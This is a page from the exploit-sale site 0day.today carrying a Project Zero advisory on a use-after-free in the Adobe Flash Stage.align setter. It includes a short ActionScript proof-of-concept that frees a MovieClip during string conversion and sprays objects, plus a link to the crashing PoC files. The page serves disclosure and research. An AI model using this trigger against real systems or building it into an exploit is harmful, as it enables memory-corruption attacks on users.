0day.today - 世界最大的漏洞利用数据库。
![](/img/logo_green.jpg)
- 我们唯一的域名:http://0day.today
- 我们大多数的材料都完全免费
- 如果你想购买漏洞利用 / 获取V.I.P.权限 或者使用其他付费服务,
你需要购买或者赢取金币金币
本站管理员使用官方账号。请谨防诈骗!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
你可以由此方式联系我们:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Adobe Flash - Stage.align Setter Use-After-Free
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=838 There is a use-after-free in the Stage.align property setter. When the setter is called, the parameter is converted to a string early, as a part of the new use-after-free prevention changes. This conversion can invoke script, which if the this object is a MovieClip, can delete the object, deleting the thread the call is made from, which can lead to a use-after-free. A proof-of-concept is as follows: this.createEmptyMovieClip("mc", 2); var o = { toString : f }; mc.func = ASnative(666, 4); //Stage.align setter mc.func(o); function f(){ trace("here"); mc.removeMovieClip(); for(var i = 0; i < 100; i++){ var t = new TextFormat(); // fill up the slots } } A fla and swf are attached. The swf crashes in Chrome for Windows. Proof of Concept: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40308.zip # 0day.today [2024-07-02] #